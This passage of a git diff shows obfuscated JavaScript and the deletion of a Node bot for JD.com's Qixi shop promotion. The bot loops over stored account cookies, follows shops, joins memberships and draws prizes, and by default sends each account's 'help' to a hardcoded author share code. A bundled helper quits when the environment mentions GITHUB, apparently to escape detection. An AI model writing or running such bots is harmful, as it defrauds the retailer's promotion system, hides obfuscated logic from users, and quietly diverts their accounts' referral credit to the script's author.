_0x23db17={'\x61\x70\x70\x49\x64':_0xad3eae[_0x27de('‫66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0xad3eae[_0x27de('‫67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1c2dc4,'\x62\x6f\x64\x79':JSON[_0x27de('‫8')](_0x38bbf9),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0xad3eae[_0x27de('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x27de('‮24')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2402da='';let _0x25911c=[_0xad3eae[_0x27de('‮69')]];if(process[_0x27de('‮51')][_0x27de('‫52')]){_0x2402da=process[_0x27de('‮51')][_0x27de('‫52')];}else{_0x2402da=_0x25911c[Math[_0x27de('‫6a')](_0xad3eae[_0x27de('‫6b')](Math[_0x27de('‫6c')](),_0x25911c[_0x27de('‮6d')]))];}let _0x5f5ad9={'\x75\x72\x6c':_0x27de('‮6e'),'\x62\x6f\x64\x79':JSON[_0x27de('‫8')](_0x23db17),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2402da,'Content-Type':_0xad3eae[_0x27de('‮6f')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0xad3eae[_0x27de('‫70')](0x1e,0x3e8)};$[_0x27de('‮71')](_0x5f5ad9,async(_0x4a1749,_0x300e08,_0x23db17)=>{if(_0x1c0efb[_0x27de('‫72')](_0x1c0efb[_0x27de('‫73')],_0x1c0efb[_0x27de('‫73')])){try{if(_0x4a1749){if(_0x1c0efb[_0x27de('‮74')](_0x1c0efb[_0x27de('‮75')],_0x1c0efb[_0x27de('‮76')])){_0x23db17=await geth5st[_0x27de('‮77')](this,arguments);}else{if(res[_0x27de('‮20')][_0x27de('‮21')]){$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}}else{}}catch(_0x580180){if(_0x1c0efb[_0x27de('‫78')](_0x1c0efb[_0x27de('‮79')],_0x1c0efb[_0x27de('‮79')])){$[_0x27de('‫7a')](_0x580180,_0x300e08);}else{if(_0x4a1749){console[_0x27de('‫1d')](_0x4a1749);}else{res=JSON[_0x27de('‫1e')](_0x23db17);if(res[_0x27de('‮1f')]){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}}}}finally{_0x1c0efb[_0x27de('‫7b')](_0x573221,_0x23db17);}}else{res=JSON[_0x27de('‫1e')](_0x23db17);if(res[_0x27de('‮1f')]){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}}});});};_0xod7='jsjiami.com.v6'; - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customized28.js b/jd_lzdz1_customized28.js deleted file mode 100644 index 79158a6..0000000 --- a/jd_lzdz1_customized28.js +++ /dev/null @@ -1,545 +0,0 @@ -/* -甜蜜七夕 跨越时空中意你 -*/ -const $ = new Env("甜蜜七夕 跨越时空中意你"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -const notify = $.isNode() ? require("./sendNotify") : ""; -let cookiesArr = [], cookie = "", message = ""; -let ownCode = null; -let authorCodeList = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else { - let cookiesData = $.getdata("CookiesJD") || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map((item) => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter((item) => !!item); -} -!(async () => { - $.getAuthorCodeListerr = false; - if (!cookiesArr[0]) { - $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - // authorCodeList = await getAuthorCodeList('https://raw.githubusercontent.com/okyyds/duck/master/code/lzdz10.json') - // if ($.getAuthorCodeListerr === false) { - // authorCodeList = [ - // 'f7d7bcdc4d3e408ea0a584f27f617e4b', - // '78cd453ae0af483e8c7da5d3f8a857bd', - // '40619ea93a2c42c3ae46a1e37111a7ea', - // ] - // } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - originCookie = cookiesArr[i]; - newCookie = ""; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ""; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - // if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - // } - continue; - } - $.bean = 0; - $.ADID = getUUID("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", 1); - $.UUID = getUUID("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); - authorCodeList = [ - 'f28c07d319e646ebbf5f1fdb5742e8fb', - // '8462a2fbeb32488fbe85d26d282f05c7', - // '4bd1f2cb22d14e13b8203467048fd2f4', - ]; - // $.authorCode = authorCodeList[random(0, authorCodeList.length)]; - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}`; - $.randomCode = random(1000000, 9999999); - $.activityId = "dz32b9e7834db5821a2c983c10d854"; - $.activityShopId = "1000003835"; - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/jul/qixiSecond/activity?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=`; - await member(); - await $.wait(3000); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。`; - } - } - } - if (message !== "") { - if ($.isNode()) { - await notify.sendNotify($.name, message, "", `\n`); - } else { - $.msg($.name, "有点儿收获", message); - } - } -})() - .catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); - }) - .finally(() => { - $.done(); - }); - -async function member() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null; - lz_cookie = {}; - await getFirstLZCK(); - await getToken(); - await task("dz/common/getSimpleActInfoVo", `activityId=${$.activityId}`, 1); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> " + $.authorCode); - await taskaccessLog("common/accessLogWithAD", `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await $.wait(1000); - await task("wxActionCommon/getUserInfo", `pin=${encodeURIComponent($.secretPin)}`, 1); - if ($.index === 1) { - await task("jul/qixiSecond/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); - } else { - await task("jul/qixiSecond/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`); - } - $.log("关注店铺"); - await task("jul/qixiSecond/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=23&shareUuid=${encodeURIComponent($.authorCode)}`); - await $.wait(1000); - await task("taskact/common/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - await $.wait(1000); - await task("jul/qixiSecond/initOpenCard", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`); - $.log("加入店铺会员"); - if ($.openCardList) { - for (const vo of $.openCardList) { - console.log(vo.openStatus) - $.log(`>>> 去加入 ${vo.venderId}`); - if (vo.openStatus === false) { - $.log(`>>> 准备加入会员`); - await getShopOpenCardInfo({ venderId: `${vo.venderId}`, channel: "401" }, vo.venderId); - await bindWithVender({ venderId: `${vo.venderId}`, bindByVerifyCodeFlag: 1, registerExtend: {}, writeChildFlag: 0, activityId: $.openCardActivityId, channel: 401 }, vo.venderId); - await $.wait(1000); - } else { - $.log(`>>> 已经是会员`); - } - } - } else { - $.log("没有获取到对应的任务。\n"); - } - await $.wait(1000); - await task("jul/qixiSecond/initOpenCard", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`); - console.log("去助力 -> " + $.authorCode); - // await task("linkgame/assist/status", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`); - // await task("linkgame/assist", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`); - // await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - - // await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - // console.log('任务 -> ') - // await $.wait(2000) - // await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - // await $.wait(2000) - // await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - // await getFirstLZCK() - // await getToken(); - // console.log('抽奖 -> ') - // await $.wait(2000) - // await task('linkgame/draw', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); - // console.log('100 -> ') - // await getFirstLZCK() - // await getToken(); - await $.wait(2000) - // await task('linkgame/draw/record', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); - await task('jul/qixiSecond/draw', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise((resolve) => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case "dz/common/getSimpleActInfoVo": - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - $.activityType = data.data.activityType; - // console.log($.venderId) - break; - case "wxActionCommon/getUserInfo": - break; - case "jul/qixiSecond/activityContent": - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`); - $.log("-------------------"); - if ($.index === 1) { - ownCode = data.data.actorUuid; - console.log(ownCode); - } - $.actorUuid = data.data.actorUuid; - } else { - $.log("活动已经结束"); - } - break; - case "jul/qixiSecond/initOpenCard": - $.openCardList = data.data.openInfo; - $.openCardStatus = data.data.allOpenCard; - // console.log(data) - break; - case "jul/qixiSecond/saveTask": - console.log(data); - break; - case "linkgame/sign": - console.log(data); - break; - case "opencard/addCart": - if (data.data) { - console.log(data.data); - } - break; - case "linkgame/sendAllCoupon": - if (data.data) { - console.log(data.data); - } - - break; - case "interaction/write/writePersonInfo": - console.log(data); - break; - case "jul/qixiSecond/draw": - console.log(data); - break; - case "linkgame/draw/record": - console.log(data.data); - break; - case "linkgame/assist/status": - $.log(JSON.stringify(data)); - break; - case "linkgame/assist": - $.log(JSON.stringify(data)); - break; - case "opencard/help/list": - $.log(JSON.stringify(data)); - break; - default: - // $.log(JSON.stringify(data)) - break; - } - } else { - // $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error); - } finally { - resolve(); - } - }); - }); -} -function taskaccessLog(function_id, body, isCommon = 0) { - return new Promise((resolve) => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - // console.log(resp); - if (resp["headers"]["set-cookie"]) { - cookie = `${originCookie};`; - for (let sk of resp["headers"]["set-cookie"]) { - lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1); - } - for (const vo of Object.keys(lz_cookie)) { - cookie += vo + "=" + lz_cookie[vo] + ";"; - } - } - } - } catch (error) { - console.log(error); - } finally { - resolve(); - } - }); - }); -} - -function getAuthorCodeList(url) { - return new Promise((resolve) => { - const options = { - url: `${url}?${new Date()}`, - timeout: 10000, - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88", - }, - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - // $.log(err) - $.getAuthorCodeListerr = false; - } else { - if (data) data = JSON.parse(data); - $.getAuthorCodeListerr = true; - } - } catch (e) { - $.logErr(e, resp); - data = null; - } finally { - resolve(data); - } - }); - }); -} - -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: "lzdz1-isv.isvjcloud.com", - Accept: "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - Origin: "https://lzdz1-isv.isvjcloud.com", - "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: "keep-alive", - Referer: $.activityUrl, - Cookie: $.cookie, - }, - body: body, - }; -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: "lzdz1-isv.isvjcloud.com", - Accept: "application/json", - "X-Requested-With": "XMLHttpRequest", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - Origin: "https://lzdz1-isv.isvjcloud.com", - "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: "keep-alive", - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1`, - }; - return new Promise((resolve) => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - if (resp["headers"]["set-cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - if (resp["headers"]["Set-Cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - if (data) { - data = JSON.parse(data); - if (data.result) { - $.log(`你好:${data.data.nickname}`); - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}`; - } else { - $.log(data.errorMessage); - } - } else { - $.log("京东返回了空数据"); - } - $.cookie = cookie - } - } catch (error) { - $.log(error); - } finally { - resolve(); - } - }); - }); -} -function getFirstLZCK() { - return new Promise((resolve) => { - $.get( - { - url: $.activityUrl, - headers: { - "user-agent": $.isNode() ? process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : require("./USER_AGENTS").USER_AGENT : $.getdata("JDUA") ? $.getdata("JDUA") : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }, - }, - (err, resp, data) => { - try { - if (err) { - console.log(err); - } else { - if (resp["headers"]["set-cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - if (resp["headers"]["Set-Cookie"]) { - cookie = `${originCookie}`; - if ($.isNode()) { - for (let sk of resp["headers"]["set-cookie"]) { - cookie = `${cookie}${sk.split(";")[0]};`; - } - } else { - for (let ck of resp["headers"]["Set-Cookie"].split(",")) { - cookie = `${cookie}${ck.split(";")[0]};`; - } - } - } - } - } catch (error) { - console.log(error); - } finally { - resolve(); - } - } - ); - }); -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": "JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)", - "Accept-Language": "zh-Hans-CN;q=1", - "Accept-Encoding": "gzip, deflate, br", - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05`, - }; - return new Promise((resolve) => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err); - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token; - } - } else { - $.log("京东返回了空数据"); - } - } - } catch (error) { - $.log(error); - } finally { - resolve(); - } - }); - }); -} -function random(min, max) { - return Math.floor(Math.random() * (max - min)) + min; -} -function getUUID(format = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = (Math.random() * 16) | 0, - v = c == "x" ? r : (r & 0x3) | 0x8; - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36); - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - }, - }; - return new Promise((resolve) => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err); - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log("京东返回了空数据"); - } - } - } catch (e) { - $.logErr(e); - } finally { - resolve(); - } - }); - }); -} -// prettier-ignore -var 